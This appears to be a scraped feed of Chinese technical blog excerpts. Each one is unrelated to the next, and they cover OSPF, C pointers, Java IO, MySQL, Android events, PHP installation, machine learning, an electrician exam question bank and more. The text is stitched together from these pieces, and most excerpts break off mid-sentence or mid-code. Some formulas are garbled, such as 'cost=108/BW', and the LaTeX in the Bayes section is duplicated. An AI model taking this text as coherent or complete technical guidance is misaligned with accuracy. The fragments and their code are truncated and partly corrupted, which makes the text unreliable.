分分钟解决OSPF配置问题

OSPF协议 一、自治系统(AS)二、OSPFOSPF的工作过程OSPF区域骨干区域非骨干区域---根据能够学习的路由器种类来区分Router ID 选取规则自动选取手动选取 DR和BDRDR和BDR的选取自动选取手动选取 OSPF的组播地址OSPF的度量值为COST(成本) OSPF多区(非骨干区域)路由器类型 链路状态通告(LSA) 命令与实验配置好IP地址后配置末梢网络配置命令完全末梢区域配置命令 高级配置路由的重分发OSPF地址汇总的作用虚链路虚链路的目的配置虚链路的规则及特点 虚链路配置命令链路汇总配置命令 一、自治系统(AS) AS是由同一个技术管理机构管理、使用统一选路策略的一些路由器的集合 距离矢量路由“传说的路由” 链路状态路由“传信的路由” 内部网关协议(IGP)RIP、OSPF 外部网关协议(EGP)BGP 二、OSPF 链路状态路由协议:OSPF、isis OSPF的工作过程 邻居列表、链路状态数据库、路由表 建立连接关系,形成邻居列表,相互学习链路状态信息,形成链路状态数据库,通过Dijkstra算法,得到最短路径树,形成路由表 OSPF区域 为了适应大型的网络,OSPF在AS内划分多个区域 每个OSPF路由器只维护所在区域的完整链路状态信息 区域ID可以用十进制的数字表示,也可以用IP表示 骨干区域 Aera 0:负责区域间路由信息传播 非骨干区域—根据能够学习的路由器种类来区分 标准区域 末梢区域(stub) 完全末梢区域(Totally,stubby) 非纯末梢区域(NSSA) Router ID 选取规则 Router ID:OSPF区域内唯一标识路由器的IP地址 自动选取 选取路由器上的loopback(回环)接口上数值最高的IP地址 如果没有loopback(回环)接口,在物理接口中选取IP地址最高的 手动选取 使用Router-id命令指定Router-ID 手动选取的优先级大于自动选取的优先级 DR和BDR 广播网络中(建立邻接关系) 构成n(n-1)/2个连接关系 其他路由器(Drothers)只和DR和BDR形成邻接关系 DR和BDR的选取 自动选取 网段上Router ID最大的为DR,第二大的为BDR 手动选取 优先级0-255 值越大,优先级越高,默认为1 优先级相同则比较Router ID 优先级被设置为0,则不参加DR和BDR的选举 路由器的优先级可以影响一个选举过程,但是它不能强制跟换已经存在的DR或BDR路由器 OSPF的组播地址 DR和BDR及选举过程用224.0.0.5 其他路由器(Drothers)用224.0.0.6 OSPF的度量值为COST(成本) cost=108/BW BW是是接口带宽 OSPF承载在IP数据包内,使用的协议号89 包明系Hello包用发现和维持邻居关系,选举DR和BDR数据库描述包(DBD)用于向邻居发送摘要信息以同步链路状态数据库链路状态请求包(LSR)在路由器收到新信息的DBD后发送,用于请求更详细的信息链路状态更新包(LSU)收到LSR后发送链路状态通告(LSA),一个LSU数据包可能包含几个LSA链路状态确认包(LSACK)确认已经收到DBD/LSU,每个LSA需要被分别确认 Down状态 初始化

C语言基础---指针数组----初始化方式&常量指针数组、指针常量数组

文章目录 1.方式一:变量的地址放入数组中2.方式二:字符赋值3.方式三:字符串赋值4.为什么指针不能修改字符串、可以修改字符数组??5.常量指针数组----三点注意6.指针常量数组----三点注意 有关指针数组 & 数组指针的知识,详情可查阅: 《C语言基础—14.指针数组 & 数组指针—图解篇》 1.方式一:变量的地址放入数组中 #include<stdio.h> int main() { char a = 'a'; char b = 'b'; char c = 'c'; char d = 'd'; char e = 'e'; char f = 'f'; char g = 'g'; char* array[5] = { &a,&b,&c,&d,&e }; // 把&a, &b看做是指向不同变量的指针 printf("array[0]--------%c\n", *array[0]); printf("array[0]--------%x\n", array[0]); printf("array[1]--------%c\n", *array[1]); printf("array[1]--------%x\n", array[1]); printf("\n"); *array[0] = 'f'; // 通过解引用修改数组的值,指针指向的地址不变 array[1] = &g; // 通过修改指针的指向,最终修改数组的值,指针变了 printf("

运行mapreduce 物理内存不够问题:

sqoop is running beyond physical memory limits. Current usage: 1.0 GB of 1 GB physical memory used; 1.6 GB of 2.1 GB virtual memory used. Killing container 运行一次任务,运行了很长时间,出现了 ***Container is running beyond physical memory limits***的错误。 Container [pid=27842,containerID=container_XXXXX] is running beyond physical memory limits. Current usage: 1.0 GB of 1 GB physical memory used; 1.6 GB of 2.1 GB virtual memory used. Killing container. 分别代表着: 1.0G——>任务所占的物理内存 (内存条) 1G——>mapreduce.map.memory.mb 参数默认设置大小 1.6G——>任务占用的虚拟内存

23种设计模式7_代理模式之二动态代理

23种设计模式7_代理模式之二动态代理 1 基本介绍 代理模式:为其他对象提供一种代理以控制对这个对象的访问 代理模式也叫委托模式,它是一项基本设计技巧。许多其他的模式,如状态模式、策略模式、访问者模式本质上都是在更加特殊的场合采用了代理模式。在日常开发应用种,代理模式能够提供非常好的访问控制。 代理可分为两种:一种是静态代理,由程序员创建或由特定工具自动生成源代码,再对其编译。在程序运行前,代理类的**.class**文件就已经存在了;另一种是动态代理:在程序运行时,运用反射机制动态创建而成。 静态代理通常只代理一个类,动态代理是代理一个接口下的多个实现类。 静态代理参考:23种设计模式7_代理模式之一静态代理 静态代理事先知道自己要代理的是什么,而动态代理不知道要代理什么,只有在运行时才知道。 动态代理的两种实现方式: ①JDK动态代理*** 利用反射机制生成一个实现代理接口的匿名类,在调用具体方法前调用InvokeHandler*来处理 ②CGlib动态代理*** 利用ASM开源包(开源的Java字节码编辑库,操作字节码),将代理对象类的class文件*加载进来,通过修改其字节码生成子类来处理。 2 JDK动态代理 继续通过游戏代练这个案例来演示动态代理,UML类图如下: 被代理接口: public interface IGamePlayer { // 登录 void login(String playName, String password); // 打怪 void killMonster(); // 升级 void levelUp(); } 被代理类: public class GamePlayer implements IGamePlayer{ // 游戏玩家名称 private String playerName; public GamePlayer(String playerName) { this.playerName = playerName; } @Override public void login(String playName, String password) { System.out.println(this.playerName + "登录游戏成功!"); } @Override public void killMonster() { System.

使用Captcha做验证码,存到数据库中,登录时候后端做判空,过期,错误提示,样式配置

实现思路:调用验证码接口传入uuid获取到验证码,把uuid和验证码传入登录接口,根据数据库中的验证码匹配,验证码登录后删除已使用的验证码,调用验证码接口时会删除小于当前时间的数据(因为存储时间的时候存的时间比系统多一分钟) pom依赖 <!--验证码--> <dependency> <groupId>com.github.axet</groupId> <artifactId>kaptcha</artifactId> <version>0.0.9</version> </dependency> <!--时间工具--> <dependency> <groupId>joda-time</groupId> <artifactId>joda-time</artifactId> <version>2.9.9</version> </dependency> 建表sql /* Navicat Premium Data Transfer Source Server : 本地人防 Source Server Type : PostgreSQL Source Server Version : 90507 Source Host : localhost:5432 Source Catalog : postgis_23_sample Source Schema : public Target Server Type : PostgreSQL Target Server Version : 90507 File Encoding : 65001 Date: 24/03/2021 09:12:10 */ -- ---------------------------- -- Table structure for xj_captcha -- ---------------------------- DROP TABLE IF EXISTS "

Java基础知识之DataInputStream/DataOutputStream

DataOutputStream的代码块: import java.io.DataOutputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; /* java.io.DataOutputStream:数据专属的流。 这个流可以将数据连同数据的类型一并写入文件。 注意:这个文件不是普通文本文档。(这个文件使用记事本打不开。) */ public class DataOutputStreamTest { public static void main(String[] args) { DataOutputStream dos=null; try { // 创建数据专属的字节输出流 dos=new DataOutputStream(new FileOutputStream("data")); // 写数据 int i=300; int i1=4; char c='数'; char c1='据'; // 把数据以及数据的类型一并写入到文件当中。 dos.writeInt(i); dos.writeInt(i1); dos.writeChar(c); dos.writeChar(c1); dos.flush(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); }finally{ if(dos!=null){ try { dos.close(); } catch (IOException e) { e.

运算放大电路(比例运算电路)

0.反向比例运算电路 这是典型的并联反馈负反馈电路,输入电压U1通过电阻R作用于反向输入端,故输出电压与输入电压反向,同相输入端通过补偿电阻R'接地,其值为U1=0时反相输入端的等效电阻,即各支路电阻的并联,因此R'=R//Rf。通过Rf引入负反馈,因此Un=Up=0,即“虚地”,Ip=In。 对于节点N,有Ir=If,故有 整理可得: 1.同向比例运算电路 电路引入了电压串联负反馈,可以认为输入电阻无穷大,输出电阻为零,Un=Up=Ui,Ir=If。

mysql分区表的好处,MySQL分区表

一、概念 分区表是一个独立的逻辑表,但是底层由多个物理子表组成。分区表对应用上层是透明的。需要注意的是:分区的索引是按照子表定义的,没有全局索引的概念。 二、分区表的优缺点 2.1 优点 1、大表数据分区,查询时优化器根据分区定义,无须扫描所有分区,只查找需要数据的分区 2、批量删除整个分区十分方便 2.2 缺点 1、一个表最多只能有1024个分区 2、在分区表上,用于分区表达式里的每一个字段都必须是唯一性索引的一部分(包括主键) 3、分区表中无法使用外键 4、分区键不可以为NULL 5、分区列和索引列不匹配导致无法进行分区过滤 三、分区表的语法 3.1 创建分区表 mysql> CREATE TABLE IF NOT EXISTS `user` ( -> `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '用户ID', -> `name` varchar(50) NOT NULL DEFAULT '' COMMENT '名称', -> `sex` int(1) NOT NULL DEFAULT '0' COMMENT '0为男,1为女', -> PRIMARY KEY (`id`) -> ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 -> PARTITION BY RANGE (id) ( -> PARTITION p0 VALUES LESS THAN (3),

【MyBatis-Plus】(7)性能分析插件

性能分析插件 性能分析拦截器,用于输出每条 SQL 语句及其执行时间 该插件 3.2.0 以上版本移除推荐使用第三方扩展 执行SQL分析打印 功能 可以看到sql语句的执行时间,对慢sql进行优化。 1.导入依赖 <!-- 性能分析插件 https://mvnrepository.com/artifact/p6spy/p6spy --> <dependency> <groupId>p6spy</groupId> <artifactId>p6spy</artifactId> <version>3.9.0</version> </dependency> 2.修改application.yaml配置文件 将"driver-class-name"和"url"的值更改如下: driver-class-name: com.p6spy.engine.spy.P6SpyDriver url: jdbc:p6spy:mysql://localhost:3306/mybatis_plus?useUnicode=true&characterEncoding=UTF-8&useSSL=false 完整application.yaml配置文件 注意:url 前缀为 jdbc:p6spy 跟着冒号为对应数据库连接地址! spring: profiles: active: dev --- # DataSource Config spring: datasource: username: root password: 123456 # url: jdbc:mysql://localhost:3306/mybatis_plus?useUnicode=true&characterEncoding=UTF-8&useSSL=false # driver-class-name: com.mysql.jdbc.Driver driver-class-name: com.p6spy.engine.spy.P6SpyDriver url: jdbc:p6spy:mysql://localhost:3306/mybatis_plus?useUnicode=true&characterEncoding=UTF-8&useSSL=false profiles: dev # mybatis-plus Config mybatis-plus: configuration: # 日志配置 log-impl: org.apache.ibatis.logging.stdout.StdOutImpl global-config: db-config: # 逻辑删除配置(1代表已删除,0代表未删除) logic-delete-value: 1 logic-not-delete-value: 0 3.

Guacamole录屏配置

Guacamole录屏配置 正确安装guacamole在制定文件夹中新建guacamole.properties和user-mapping.xml 文件如果需要录屏的话需要在user-mapping.xml中添加以下内容,以我自己的文件为例 <user-mapping> <authorize username="xxxx" password="xxxx"> <protocol>vnc</protocol> <param name="hostname">192.168.1.111</param> <param name="port">5900</param> <param name="password">123456</param> <param name="recording-path">/home/shen/</param> <param name="recording-name">win10_rec</param> </authorize> </user-mapping> 其中username、password、recording-path和recording-name需要你根据自己的环境进行配置。完成配置之后每次使用guacamole的客户端都会自动在制定文件夹生成录像文件。原始的录像文件比较大,一分钟可能会有几十上百M,接下来需要在终端使用命令 guacenc win10_rec 将原始数据转化成.m4v后缀的视频文件,这样就能够将其压缩,然后在播放器上愉快的浏览啦~ 如果有其他的问题还可以给我留言哦,最近一直在折腾这个,咱们可以一起交流一下!

Java使用定时任务

前言:Java开发过程中经常会遇到使用定时任务的情况,比如在某个活动结束时,自动生成获奖名单,导出excel等。常见的有如下四种方式:Timer、ScheduledExecutorService、SpringTask、Quartz。 1、Java定时任务的四种实现方式 (1)JDK 自带的定时器实现 (2)Spring Task的@Scheduled注解任务调度 (3)Quartz 定时器实现 (4)Elastic-job分布式作业调度框架 JDK自带 :JDK自带的Timer以及JDK1.5+ 新增的ScheduledExecutorService; Spring3.0以后自带的task调度工具 :可以将它看成一个轻量级的Quartz,而且使用起来比Quartz简单许多,一般可以直接用@Scheduled注解+corn表达式实现; Quartz :简单却强大的JAVA作业调度框架; Elastic-job分布式作业调度框架:是当当网架构师基于Zookepper、Quartz开发并开源的一个Java分布式定时任务,解决了Quartz不支持分布式的弊端。 2、JDK自带的java.util.Timer 来实现 import java.util.Calendar; import java.util.Date; import java.util.Timer; import java.util.TimerTask; public class Test { /** * 第一种方法:设定指定任务task在指定时间执行,只执行一次 * schedule(TimerTask task, Date time) */ public static void timer1() { Timer timer = new Timer(); timer.schedule(new TimerTask() { public void run() { System.out.println(new Date() +"\t"+"---指定要执行任务---"); } }, new Date(System.currentTimeMillis() + 2000)); } /** * 第二种方法:设定指定任务task在延迟delay执行,只执行一次 * schedule(TimerTask task, long delay) * delay单位毫秒 */ public static void timer2(){ Timer timer = new Timer(); timer.

树莓派学习(二) 安装anaconda

1.查看版本 uname -a 2.下载 wget http://repo.continuum.io/miniconda/Miniconda3-latest-Linux-armv7l.sh 3.安装 ls sudo bash Miniconda3-latest-Linux-armv7l.sh 无脑按enter后 yes /home/pi/miniconda3 yes 4.安装成功 conda list 5.换源 conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ conda config --set show_channel_urls yes conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ conda config --set show_channel_urls yes

Android事件传递(四):总结篇

Android事件传递(一):Activity、View、ViewGroup及dispatchtouchEvent、onTouchEvent梳理 Android事件传递(二):事件动作 DOWN 在Activity、View、ViewGroup传递 Android事件传递(三):事件动作 UP 在Activity、View、ViewGroup传递 下面源码基于Android11 API30 文章里会用到上篇文章的布局例子这里先做一个初始化 ,让他们都返回默认值 重写方法dispatchTouchEvent重写onTouchEventisClickableMyLinearLayoutOutreturn super.dispatchTouchEvent(ev);return super.onTouchEvent(event); MyLinearLayoutreturn super.dispatchTouchEvent(ev);return super.onTouchEvent(event); MyButtonreturn super.dispatchTouchEvent(ev);return super.onTouchEvent(event);手动置为false 1 Activity在事件传递的特殊位置 Activity对于 dispatchTouchEvent 和 onTouchEvent分为两种情况 1 有控件接收处理事件,它和其它布局差不多,dispatchTouchEvent从它开始,返回被处理事件的控件拦截它也被拦截。 2 没有控件处理事件的的时候,这时候就有点不一样了,我们来看下源码 public class Activity extends ContextThemeWrapper implements Window.Callback,...... { ......省略其它代码...... public boolean dispatchTouchEvent(MotionEvent ev) { if (ev.getAction() == MotionEvent.ACTION_DOWN) { onUserInteraction(); } ✍这里没有子控件接收处理事件,getWindow().superDispatchTouchEvent(ev) 最终返回值是false if (getWindow().superDispatchTouchEvent(ev)) { return true; } ✍ 这个就会走到这里,调用它的onTouchEvent方法 return onTouchEvent(ev); } public void onUserInteraction() { } } 所以没有控件接收处理事件,对于UP动作Activity依旧会执行!

vant Cascader 级联选择 异步加载

<template> <div class="cascader"> <van-field v-model="fieldValue" is-link readonly :label="label" :required="required" :rules="rules" :placeholder="placeholder" @click="show = true" /> <van-popup v-model="show" round position="bottom"> <van-cascader v-model="cascaderValue" :title="label" :options="options" @change="selectChange" active-color="#1989fa" :field-names="fieldNames" @close="show = false" @finish="onFinish" /> </van-popup> </div> </template> <script> export default { props: { value: { type: String, default: () => '' }, isCode: { type: Boolean, default: () => false }, name: { type: String, default: () => '默认' }, valueKey: { type: String, default: () => 'value' }, labelKey: { type: String, default: () => 'label' }, label: { type: String, default: () => '默认' }, prop: { type: String, default: () => '' }, url: { type: String, default: () => '' }, superCodeVal: { type: String, default: () => '' }, required: { type: Boolean, default: () => false }, rules: { type: Array, default: () => [] }, placeholder: { type: String, default: '' }, lastLevel: { type: Number, default: () => 3 } }, data() { return { show: false, fieldValue: '', cascaderValue: '', fieldNames: { text: 'dictName', value: 'dictCode' }, options: [], isExecute: 1, tileArr: [] } }, methods: { // 全部选项选择完毕后,会触发 finish 事件 onFinish({ selectedOptions }) { // this.

mysql-8.0.11.,MySQL 8.0.11安装配置

一、mysql-8.0.11-1.el6.x86_64.rpm-bundle.tar解压后有如下7个文件: -rw-r--r-- 1 root root 28987588 Apr 9 01:06 mysql-community-client-8.0.11-1.el6.x86_64.rpm -rw-r--r-- 1 root root 672184 Apr 9 01:06 mysql-community-common-8.0.11-1.el6.x86_64.rpm -rw-r--r-- 1 root root 4443296 Apr 9 01:06 mysql-community-devel-8.0.11-1.el6.x86_64.rpm -rw-r--r-- 1 root root 2579460 Apr 9 01:06 mysql-community-libs-8.0.11-1.el6.x86_64.rpm -rw-r--r-- 1 root root 1902676 Apr 9 01:06 mysql-community-libs-compat-8.0.11-1.el6.x86_64.rpm -rw-r--r-- 1 root root 395918848 Apr 9 01:07 mysql-community-server-8.0.11-1.el6.x86_64.rpm -rw-r--r-- 1 root root 49092596 Apr 9 01:07 mysql-community-test-8.0.11-1.el6.x86_64.rpm 然后创建mysql用户: useradd mysql passwd mysql

无限循环动画实现

先来个效果图 示例代码是先缩小移动,然后无限循环左右晃动,希望能够帮助到你,点个赞吧~ 实现代码 <image class="element1" @load="element1_load" :animation="animationData" src="../../static/element1.png" mode="widthFix"></image> JS var animation, that, ani_start_time=600; data() { return { animationData: {}, animation: {}, } }, onLoad(option) { that = this }, methods: { element1_load() { var animation = wx.createAnimation({}) var data = { duration: 150, timingFunction: 'linear', delay: 1 } //设置循环动画 animation.translateX(80).scale(.34, .34).step({ duration: ani_start_time, delay: 10 }) this.animationData = animation.export() var next = true; setTimeout(() => { setInterval(() => { if (next) { animation.

基于C语言的机械按键模块化软件开发(2)

(模块全代码获取方式,关注微信公号,发送switch) 关注微信公众号 (airX嵌入式),获取更多项目经验! 四、软件设计 本软件模块实现按键的单次按下、单次释放、按下状态、释放状态、故障(卡滞)状态的检测。 单次按下:按键从无效电平到有效电平跳变 单次释放:按键从有效电平到无效电平跳变 按下状态:按键处于按下状态 释放状态:按键处于释放状态 故障状态:这里主要指按键在按下状态维持的时间过久,就认定按键卡住了,判为按键故障状态,以指示相关功能模块忽略此按键的操作,达到避免误响应的目的! 软件模块设计先从整体来看,先从配置项开始!!!为何配置?因为外围硬件不同或者需求的不同导致相关参数会不同,按键主要提现在硬件方面上不同的有有效电平设计不同、按键个数不同、芯片不同(导致读取IO口函数不一样);需求方面:滤波时间不同、故障功能是否需要等!因此我们需要在开发前确定这些参数,并在软件层面分配变量或者宏定义。下面我们开始开出配置变量!! A、需确定硬件上按键的有效电平是高还是低,因此需要给个配置项; 在h文件里: typedef enum en_switchport_active { SWITCHPORT_INACTIVE = 1, SWITCHPORT_ACTIVE = 0 }en_switchport_active_t; 注意:电平不是1就是0,而且2个枚举必须互斥。 B、滤波时间当然要配置了 所以需要开出滤波时间的配置 一个是按键的有效触发滤波,一个是故障的滤波,这个时间取决你主函数的调用周期T 滤波时间=配置参数*T 根据自己产品实际的来 ,一般50ms #define SWITCHSTUCKFilter 30000 #define CaSwitchCfg_u_BtnFilter 25 按键个数要让人家配置的吧 于是搞个按键个数的配置 typedef enum en_switch_name { SwitchName_1 = 0, SwitchName_2, SwitchName_3, SwitchName_4, SwitchName_5, SwitchName_6, SwitchName_7, SWITCHNAME_MAX /*按键数量*/ }en_switch_name_t; 这里我用了个小技巧,多定义了一个SWITCHNAME_MAX的枚举用来当做按键的个数,按键的名字各位自己修改,但SWITCHNAME_MAX不能动,其他多少个按键,在上面加就行了! 这名字会在调用函数传参时,让你不会把按键弄乱掉! D、因为有些项目可能对故障没什么要求,所以我做了个故障监测的开关 #define SWITCHCFG_BTNLOCK ON/*设置为OFF 故障代码不编译*/ 获取IO口电平的函数,因为芯片不同,自然获取的函数寄存器等都不同,所以我这里开了个函数bool GetSwitch_u_PortChannel(en_switch_name_t name) 这个函数传入的参数是按键的名称(名称看上面的C配置),返回的是相应按键的IO口电平值! 这个函数需要自己编写,后续在移植说明中会有实例说明! 需要配置的就这么多,其实结束了 哈哈!

ubuntu利用yum安装php,Linux、CentOS、Ubuntu搭建配置PHP5.5、5.6、7.0、7.1、7.2

Linux、CentOS、Ubuntu搭建配置PHP5.5、5.6、7.0、7.1、7.2 网云互联运维工作室 文字教程站:www.94ip.com 视频教程站:www.94ip.net 联系方式:33790982、13434379 演示机:CentOS7.9 CentOS安装php5.4最为简单 yum install -y php 即可安装 这个时候输入php -v 即可看到php版本是PHP5.4.16 那么,如果安装5.5 5.6等其他版本,就不能再用yum install -y php了。因为它默认安装的是php5.4 咱们还原一下系统,下面开始安装其他版本测试。 如php5.5 这里给大家准备了5.5~7.2的PHP版本 主要系统为CentOS5.x 6.x 7.x的所有版本 先安装epel yum -y install epel-release 根据自己的CentOS系统,更换rpm源 CentOS5 rpm -Uvh http://osss.94ip.net/system/php/C5.rpm rpm -Uvh http://osss.94ip.net/system/php/C6.rpm CentOS7 rpm -Uvh http://osss.94ip.net/system/php/c7.rpm yum search php55w或php56w 等 ,检测rpm源内的php版本 这里除了php,还有一些插件,可以先安装,也可以用到了再安装 这里给大家准备了一些常用的推展一起安装 复制命令,运行即可安装。如果安装其他版本,把命令内的55w换成其他版本即可 yum install php55w.x86_64 php55w-cli.x86_64 php55w-common.x86_64 php55w-gd.x86_64 php55w-ldap.x86_64 php55w-mbstring.x86_64 php55w-mcrypt.x86_64 php55w-mysql.x86_64 输入y回车确认安装 给大家暂停一下 安装完毕了。这个时候,咱们再试一下php -v 版本是PHP 5.5.38 安装其他的也一样,更换完rpm包之后,输入对应的命令安装即可 教程到此结束,有需要帮助可以联系我们

DataWhale集成学习Task3--优化基础模型

文章目录 直播回顾训练均方误差与测试均方误差偏差-方差的均衡方法方差偏差 特征提取训练误差修正交叉验证The Validation Set ApproachLOOCV(Leave-one-out cross-validation)K折交叉验证 压缩估计(正则化)岭回归Losso回归 降维小结 摘要:在之前的Task中,我们构建了诸如线性回归,回归树等等的模型,了解了他们的不同优缺点,那么接下来,我们就需要学习如何进一步地优化模型,记住,我们的目的不是为了让模型在训练集效果越准越好,而是在测试集上有很好的预测效果。 直播回顾 在此之前补充前面助教留的作业:查询sklearn中树模型的参数意义: class sklearn.tree.DecisionTreeRegressor(*, criterion='mse', splitter='best', max_depth=None, min_samples_split=2, min_samples_leaf=1, min_weight_fraction_leaf=0.0, max_features=None, random_state=None, max_leaf_nodes=None, min_impurity_decrease=0.0, min_impurity_split=None, ccp_alpha=0.0) criterion : {“mse”, “friedman_mse”, “mae”, “poisson”}, default=”mse” 用来衡量分割质量的功能。支持的标准是均方误差的“ mse”,等于方差减少作为特征选择标准,并使用每个终端节点的均值。 “ friedman_mse”来最小化L2损失,该方法使用均方误差和弗里德曼改进分数作为潜在值分裂, “ mae”代表平均绝对误差,它使用每个末端节点的中值使L1损失最小化; “ poisson”则使用泊松偏差的减少来寻找分裂。 splitter : {“best”, “random”}, default=”best” 用于在每个节点上选择拆分的策略。支持的策略是“best”选择最佳拆分,“random”选择最佳随机拆分。 max_depth : int, default=None 树的最大深度。如果为None,则将节点展开,直到所有叶子都是pure的,或者直到所有叶子都包含少于min_samples_split个样本。 min_samples_split : int or float, default=2 拆分内部节点所需的最少样本数(max_depth会用到): 如果为int,则认为min_samples_split是最小值。 如果为float,min_samples_split则为分数, 是每个拆分的最小样本数。ceil(min_samples_split * n_samples) min_weight_fraction_leaf :float, default=0.0 在叶节点处需要的最小样本数。仅在任何深度的分裂点在min_samples_leaf左分支和右分支中的每个分支上至少留下训练样本时才考虑。尤其是在回归中,这可能具有平滑模型的效果。 同样地,

机器学习-Bayes

1. 相关概念 生成模型:在概率统计理论中, 生成模型是指能够随机生成观测数据的模型,尤其是在给定某些隐含参数的条件下。它给观测值和标注数据序列指定一个联合概率分布。在机器学习中,生成模型可以用来直接对数据建模(例如根据某个变量的概率密度函数进行数据采样),也可以用来建立变量间的条件概率分布。条件概率分布可以由生成模型根据贝叶斯定理形成。常见的基于生成模型算法有高斯混合模型和其他混合模型、隐马尔可夫模型、随机上下文无关文法、朴素贝叶斯分类器、AODE分类器、潜在狄利克雷分配模型、受限玻尔兹曼机 举例:要确定一个瓜是好瓜还是坏瓜,用判别模型的方法是从历史数据中学习到模型,然后通过提取这个瓜的特征来预测出这只瓜是好瓜的概率,是坏瓜的概率。 判别模型: 在机器学习领域判别模型是一种对未知数据 y 与已知数据 x 之间关系进行建模的方法。判别模型是一种基于概率理论的方法。已知输入变量 x ,判别模型通过构建条件概率分布 P(y|x) 预测 y 。常见的基于判别模型算法有逻辑回归、线性回归、支持向量机、提升方法、条件随机场、人工神经网络、随机森林、感知器 举例:利用生成模型是根据好瓜的特征首先学习出一个好瓜的模型,然后根据坏瓜的特征学习得到一个坏瓜的模型,然后从需要预测的瓜中提取特征,放到生成好的好瓜的模型中看概率是多少,在放到生产的坏瓜模型中看概率是多少,哪个概率大就预测其为哪个。 生成模型是所有变量的全概率模型,而判别模型是在给定观测变量值前提下目标变量条件概率模型。因此生成模型能够用于模拟(即生成)模型中任意变量的分布情况,而判别模型只能根据观测变量得到目标变量的采样。判别模型不对观测变量的分布建模,因此它不能够表达观测变量与目标变量之间更复杂的关系。因此,生成模型更适用于无监督的任务,如分类和聚类。 ### 2. 先验概率、条件概率 条件概率: 就是事件A在事件B发生的条件下发生的概率。条件概率表示为P(A|B),读作“A在B发生的条件下发生的概率”。 先验概率: 在贝叶斯统计中,某一不确定量 p 的先验概率分布是在考虑"观测数据"前,能表达 p 不确定性的概率分布。它旨在描述这个不确定量的不确定程度,而不是这个不确定量的随机性。这个不确定量可以是一个参数,或者是一个隐含变量。 后验概率: 在贝叶斯统计中,一个随机事件或者一个不确定事件的后验概率是在考虑和给出相关证据或数据后所得到的条件概率。同样,后验概率分布是一个未知量(视为随机变量)基于试验和调查后得到的概率分布。“后验”在本文中代表考虑了被测试事件的相关证据。 通过上述西瓜的数据集来看 条件概率,就是在条件为瓜的颜色是青绿的情况下,瓜是好瓜的概率 先验概率,就是常识、经验、统计学所透露出的“因”的概率,即瓜的颜色是青绿的概率。 后验概率,就是在知道“果”之后,去推测“因”的概率,也就是说,如果已经知道瓜是好瓜,那么瓜的颜色是青绿的概率是多少。后验和先验的关系就需要运用贝叶斯决策理论来求解。 3. 贝叶斯决策理论 贝叶斯决策论是概率框架下实施决策的基本方法,对分类任务来说,在所有相关概率都已知的理想情形下,贝叶斯决策论考虑如何基于这些概率和误判损失来选择最优的类别标记。 假设有N种可能标记, λ i j λ_{ij} λij​是将类 c j c_j cj​误分类为 c i c_i ci​所产生的损失,基于后验概率$ P(c_i | x)$ 可以获得样本x分类为 c i c_i ci​所产生的期望损失 ,即在样本x上的条件风险: R ( c i ∣ x ) = ∑ j = 1 N λ i j P ( c j ∣ x ) R(c_i|\mathbf{x}) = \sum_{j=1}^N \lambda_{ij} P(c_j|\mathbf{x}) R(ci​∣x)=j=1∑N​λij​P(cj​∣x)

2021年低压电工报名考试及低压电工考试软件

题库来源:安全生产模拟考试一点通公众号小程序 低压电工报名考试参考答案及低压电工考试试题解析由安全生产模拟考试一点通题库老师及低压电工操作证已考过的学员汇总,相对有效帮助低压电工考试软件学员顺利通过考试。 1、【判断题】剥线钳是用来剥削小导线头部表面绝缘层的专用工具。( √ ) 2、【判断题】测量电流时应把电流表串联在被测电路中。( √ ) 3、【判断题】使用改变磁极对数来调速的电机一般都是绕线型转子电动机。( × ) 4、【判断题】机关、学校、企业、住宅等建筑物内的插座回路不需要安装漏电保护装置。( × ) 5、【判断题】常用绝缘安全防护用具有绝缘手套、绝缘靴、绝缘隔板、绝缘垫、绝缘站台等。( √ ) 6、【判断题】基尔霍夫第一定律是节点电流定律,是用来证明电路上各电流之间关系的定律。( √ ) 7、【判断题】电工应做好用电人员在特殊场所作业的监护作业。( √ ) 8、【判断题】在有爆炸和火灾危险的场所,应尽量少用或不用携带式、移动式的电气设备。( √ ) 9、【判断题】导线连接时必须注意做好防腐措施。( √ ) 10、【判断题】接了漏电开关之后,设备外壳就不需要再接地或接零了。( × ) 11、【判断题】断路器在选用时,要求断路器的额定通断能力要大于或等于被保护线路中可能出现的最大负载电流。( × ) 12、【判断题】PN结正向导通时,其内外电场方向一致。( × ) 13、【判断题】电气设备缺陷,设计不合理,安装不当等都是引发火灾的重要原因。( √ ) 14、【判断题】民用住宅严禁装设床头开关。( √ ) 15、【判断题】改变转子电阻调速这种方法只适用于绕线式异步电动机。( √ ) 16、【判断题】为了安全,高压线路通常采用绝缘导线。( × ) 17、【判断题】熔体的额定电流不可大于熔断器的额定电流。( √ ) 18、【单选题】一般照明的电源优先选用( )V。( A ) A、220 B、380 C、36 19、【单选题】1千伏以上的电容器组采用( )接成三角形作为放电装置。( C ) A、电炽灯 B、电流互感器 C、电压互感器 20、【单选题】生产经营单位的主要负责人在本单位发生重大生产安全事故后逃匿的,由( )处15日以下拘留。( A )

Java基础知识之BufferedReader和InputSreamReader转换流

BufferedReader: 带有缓冲区的字符输入流。 使用这个流的时候不需要自定义char数组,或者说不需要自定义byte数组。自带缓冲。 当一个流的构造方法中需要一个流的时候,这个被传进来的流叫做:节点流。 外部负责包装的这个流,叫做:包装流,还有一个名字叫做:处理流。 像如下程序来说:FileReader就是一个节点流。BufferedReader就是包装流/处理流。 import java.io.BufferedReader; import java.io.FileNotFoundException; import java.io.FileReader; import java.io.IOException; public class BufferReaderTest { public static void main(String[] args) { BufferedReader br=null; try { FileReader fr=new FileReader("chapter23/src/tempfile"); br=new BufferedReader(fr); String s=null; br.readLine()方法读取一个文本行 while((s=br.readLine())!=null){ System.out.println(s); } } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } finally{ //关闭流 // 对于包装流来说,只需要关闭最外层流就行,里面的节点流会自动关闭。 if(br!=null){ try { br.close(); } catch (IOException e) { e.printStackTrace(); } } } } } 通过InputStreamReader转换流将FileInputStream字节流转换成字符流(对比上面代码):

Java基础知识之FileReader

